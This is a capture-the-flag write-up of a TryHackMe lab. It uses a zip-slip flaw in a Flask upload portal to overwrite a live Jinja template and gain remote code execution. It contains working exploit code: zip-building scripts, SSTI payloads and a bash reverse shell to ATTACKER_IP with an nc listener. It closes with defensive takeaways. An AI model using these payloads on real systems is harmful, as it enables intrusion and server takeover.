TryHackMeMedium

Hacker Holidays — Day 10: The Hollow Shell

A zip-slip flaw in a staff upload feature lets an extracted archive entry escape its per-upload folder and overwrite the app's own live Jinja template, turning a simple file upload into persistent SSTI/RCE.

Red hooded mascot wearing glasses

Event: Hacker Holidays — The Byte Lotus Hotel · Day 10 · Web (File Upload / Zip Slip → RCE) Target: http://MACHINE_IP:5000 (Flask/Gunicorn) — Shoreline Display portal

The Setup

A staff portal lets guests/staff upload a “shell” — a .zip “souvenir pack” containing a shell.json manifest plus assets (png jpg gif svg css json). Once uploaded it’s extracted and listed on the dashboard. The briefing spells it out with a pun: “Slip past what the portal forgets to check, and the shell answers with a shell of your own” — a direct pointer at zip slip (path traversal during zip extraction).

Recon

nmap -A -p- -Pn -n -T4 10.130.148.247
# 22/tcp    OpenSSH
# 5000/tcp  Gunicorn — "Byte Lotus — Room Service", redirects to /login

/login leaks default creds in an HTML comment:

<!-- IT seeds every property with the same starter login:
user: concierge
pass: StayNoticed2024! -->
curl -s -i -c jar.txt -d 'username=concierge&password=StayNoticed2024!' http://TARGET:5000/login
# 302 -> /dashboard, Set-Cookie: session=...

The Upload Feature

/dashboard exposes a POST /upload (multipart, field shell) that accepts a .zip. The page explicitly calls out “automation hooks” the “theme worker” applies — a deliberate red herring pointing attention at a hook mechanism, when the real bug is in extraction itself.

A first plain upload (shell.json + a logo.png) succeeded (302, no visible error) but didn’t appear in “Shells on display” — the listing just needed a name field in the manifest to render:

{ "name": "Test Shell", "assets": ["logo.png"] }

The success flash message (found by decoding the Flask session cookie — see below) revealed the storage path convention: shells/<12-hex-id>/.

Reading the Flash Message (No Key Needed)

Flask’s signed session cookie is zlib-compressed and base64-encoded, prefixed with a .. Reading it requires no secret key (only forging one does):

python3 -c "import base64,zlib; d='<cookie-payload>'; d+='='*(-len(d)%4); print(zlib.decompress(base64.urlsafe_b64decode(d)))"

This decoded to:

{"_flashes":[["message","Shell 'Test Shell' brought ashore. Stored at shells/e608cd4f499c/ ..."]], "staff":"concierge"}

— confirming files are extracted to shells/<id>/ and served at GET /shells/<id>/<filename>.

Ruling Things Out

  • SSTI via the manifest name field — tested {{7*7}} as the name; it rendered literally, not 49. Jinja auto-escapes the displayed name, so no SSTI there.
  • URL-level path traversal on /shells/<id>/<file> (../../../etc/passwd, URL-encoded variants) — all 404. Werkzeug’s routing / send_from_directory blocks traversal in the request path itself.
  • “Automation hooks” as a JSON key (hooks.cmd, on_display, run, exec, etc.) and magic script filenames (hook.sh, apply.sh, worker.sh) inside the zip, each pointed at an out-of-band curl callback — no listener hits after multiple attempts. Flavor text, a genuine red herring.
  • SVG stored-XSS harvested by a bot — an SVG with an embedded <script> beaconing to a listener got no hits either. Not the vector.

The Real Bug — Zip Slip → Template Overwrite → SSTI/RCE

Zip extraction did not sanitize entry paths. A zip entry named with ../ traverses outside the intended shells/<id>/ directory during extraction — the classic zip-slip flaw, where zipfile.extractall() (or a manual per-entry write) never strips .. components.

Confirmed the primitive first with a simple 1-level escape:

import zipfile
z = zipfile.ZipFile('/tmp/evil2.zip', 'w')
z.writestr('shell.json', '{"name":"Evil2","assets":["pwn.png"]}')
z.writestr('../pwn.png', b'ZIPSLIP-OK')
z.close()

After upload, the dashboard listing showed a new top-level entry shells/pwn.png/ — proof the file escaped its per-upload UUID folder up into the shared shells/ directory.

Escalating to RCE — Overwrite the Live Jinja Template

Since one ../ reaches shells/, two reaches the app root. Targeting the actual template rendered on every dashboard load (templates/dashboard.html) with a classic Flask SSTI/RCE payload, trying several traversal depths in one zip to cover uncertainty about the exact directory layout:

payload = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("id").read() }}'
for depth in range(1, 5):
    z.writestr('../' * depth + 'templates/dashboard.html', payload)

The upload returned a 500 (a later, too-deep entry in the loop errored), but earlier entries in the zip had already been written before the crash — including the depth-2 entry, which landed exactly on the real templates/dashboard.html. From then on, every request to /dashboard re-rendered that template, executing the payload and returning raw os.popen(...) output as the entire page body:

curl -s -b jar.txt http://TARGET:5000/dashboard
# uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)

Confirmed RCE — and a persistent one, since the payload lives in the template file itself and re-fires on every page load rather than being a one-shot hook.

Reverse Shell

Re-upload with the same depth-2 target, swapping the payload for a reverse shell:

import zipfile
payload = '{{ self.__init__.__globals__.__builtins__.__import__("os").popen("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\'").read() }}'
z = zipfile.ZipFile('/tmp/revtpl.zip', 'w')
z.writestr('shell.json', '{"name":"RevTpl","assets":["logo.png"]}')
z.writestr('logo.png', b'')
z.writestr('../../templates/dashboard.html', payload)
z.close()
curl -s -b jar.txt -F 'shell=@/tmp/revtpl.zip' http://TARGET:5000/upload
curl -s -b jar.txt http://TARGET:5000/dashboard   # triggers the render -> shell
nc -lvnp 5555
# Connection received...
roomservice@tryhackme-2404:~$ cat flag.txt
THM{redacted}

Landed as roomservice (uid 996) — the flag was directly readable in the home directory, no further privesc needed.

Takeaways

  • Sanitize every zip entry name before extraction. Reject or strip any entry containing .., absolute paths, or symlinks. Python’s zipfile does not do this for you — extractall() and manual per-entry writes are both vulnerable unless you explicitly validate os.path.realpath(dest).startswith(target_root) for every member.
  • A partial/crashed extraction can still leave attacker-controlled writes in place. The app 500’d mid-loop, but earlier entries had already hit disk — don’t assume a failed request means nothing happened.
  • Overwriting a live Jinja template file is RCE, not just a file-write bug. Any writable location the app later render_template()s from is a code-execution primitive, not merely “path traversal.”
  • Flask’s session cookie is base64+zlib, readable without the secret key. Useful for silently reading flash messages / session state without ever forging a cookie.
  • Red herrings matter as much as real bugs in these rooms. The “automation hooks” copy was flavor text designed to burn time on JSON-key guessing; the actual vuln was in extraction, which the challenge title (“Hollow Shell”) was hinting at all along.

Flag

THM{redacted}